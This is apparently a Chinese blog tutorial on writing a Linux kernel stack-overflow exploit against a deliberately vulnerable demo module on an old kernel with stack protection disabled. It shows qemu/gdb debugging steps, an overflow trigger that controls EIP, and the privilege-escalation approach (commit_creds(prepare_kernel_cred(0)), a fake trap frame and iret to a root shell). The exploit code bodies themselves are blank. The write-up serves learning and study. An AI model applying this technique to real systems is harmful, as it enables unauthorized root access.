linux-kernel expoit study (3)---栈溢出
write linux kernel exploit 2
Stack smashing
简单的内核栈溢出
一个简单的demo
漏洞很明显,memcpy没有对长度进行判断
1 | $ vim stack_smashing.c |
1 | ko文件的Makefile, KERNELDR目录设置为linux内核源码的根目录即可 |
简单的测试
1 | qemu启动内核,加载相关的busybox |
POC测试
发现此时编译的ko是有canary检测了,为了测试方便,需要关闭栈保护机制,可以修改~linux_kernel/linux-2.6.32.1中的配置文件.config,找到CONFIG_CC_STACKPROTECTOR注释掉即可,然后重新编译内核和ko文件
1 关闭CONFIG_CC_STACKPROTECTOR之后重新测试栈溢出
调试模块
由于模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。
模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区所以只需要指定text即可。
1 | 获取text节区地址 |
1
2
3
4
5在gdb中添加模块信息
gdb-peda$ add-symbol-file /home/swing/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000
如果存在data和bss节区可以如下指定:
gdb-peda$ add-symbol-file /home/swingr/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000 -s .bss xxxx -s .data xxxx
1 | 对漏洞函数下断点,可以看到bug2_write在模块中的偏移是0x30,所以在0xc8830000+0x30处下断点 |
具体调试步骤
调试模式启动kernel1
$ qemu-system-i386 -S -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"
设置qemu gdbserver(Ctrl+Alt+2)1
(qemu) gdbserver tcp::1234
gdb调试kernel1
2
3$ gdb vmlinux
gdb-peda$ target remote localhost:1234
gdb-peda$ c
继续运行qemu(Ctrl+Alt+1)
在启动的内核中加载模块1
$ insmod stack_smashing.ko
找到模块stack_smashing的text地址
1
2$ grep 0 /sys/module/stack_smashing/sections/.text
0xc8830000
在gdb中command+c停止kernel运行加载符号并设置断点1
2
3
4
5
6
7
8
9
10
11gdb-peda$ c
Continuing.
^C
gdb-peda$ file vmlinux
Reading symbols from vmlinux...done.
gdb-peda$ add-symbol-file /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000
add symbol table from file "/home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko" at
.text_addr = 0xc8830000
Reading symbols from /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko...done.
添加断点1
gdb-peda$ b bug2_write
qemu中触发漏洞
$ echo ABCDEFGHIJKLMNOPQRSTUVWXYZ > /proc/bug2
进入gdb中调试
gdb-peda$ s
Warning: not running or target is remote
9 memcpy(localbuf,buf,len);
gdb-peda$ x /20i $eip
=> 0xc883000f <bug2_write+15>: mov esi,edx
0xc8830011 <bug2_write+17>: shr ecx,0x2
0xc8830014 <bug2_write+20>: lea edi,[ebp-0x10]
0xc8830017 <bug2_write+23>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0xc8830019 <bug2_write+25>: mov ecx,eax
0xc883001b <bug2_write+27>: and ecx,0x3
0xc883001e <bug2_write+30>: je 0xc8830022 <bug2_write+34>
0xc8830020 <bug2_write+32>: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
0xc8830022 <bug2_write+34>: add esp,0x8
0xc8830025 <bug2_write+37>: pop esi
0xc8830026 <bug2_write+38>: pop edi
0xc8830027 <bug2_write+39>: pop ebp
0xc8830028 <bug2_write+40>: ret
可以看到memcpy已经被编译器优化为rep movs指令
在函数返回处下断点
gdb-peda$ b *0xc8830028
gdb-peda$ c
gdb-peda$ x /10i $eip
=> 0xc8830028 <bug2_write+40>: ret
可以看到此时ret之后控制eip为0x58575655
gdb-peda$ x /wx $esp
0xc7a63f30: 0x58575655
1 | poc |
exp
从内核模式赋予root权限commit_creds(prepare_kernel_cred(0))然后直接返回用户模式,并在用户模式启一个shell,拿到root shell,其中使用iret指令来返回。
iret简介
1 | 当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。 |
硬件在栈上保存了trap frame,iret从下面的结构中恢复到用户模式
1 | struct trap_frame |
构造fake trap frame和用户模式shell
构造fake trap frame(struct trap_frame)
1 | void prepare_tf(void) |
用户模式shell
1 | void launch_shell(void) |
最终的exp和调试
注意添加断点直接b bug2_write,通过commit_creds(prepare_kernel_cred(0))赋予root权限
并通过iret从内核态直接返回用户态然后启动用户态的shell(launch_shell)此时得到的就是root shell
exp
1 |
|
3. 调试exploit
先要做一些准备工作:
- 确定模块代码节地址
- gdb设置
然后就可以返回到系统中,运行exploit程序了。
对ret指令下断,然后c过去,这时候单步的话,应该就ret到我们payload的地址了。
查看一下栈顶的情况:
接下来,我们单步,直行进入我们的payload。
这里可以看到先去执行commit_creds(prepare_kernel_cred(0))
了。
我们主要关注iret的时候:
红色部分就是我们伪造的tf结构啦!
这边可以看到eip指向是我们用来起shell的函数,这样看来整个payload结构是没什么问题的。
最终效果
按write-linux-kernel-exploit-1文中——qemu中添加普通用户并测试
总结
真实环境中,canary是启用的,一旦canary被覆盖,就会造成kernel panics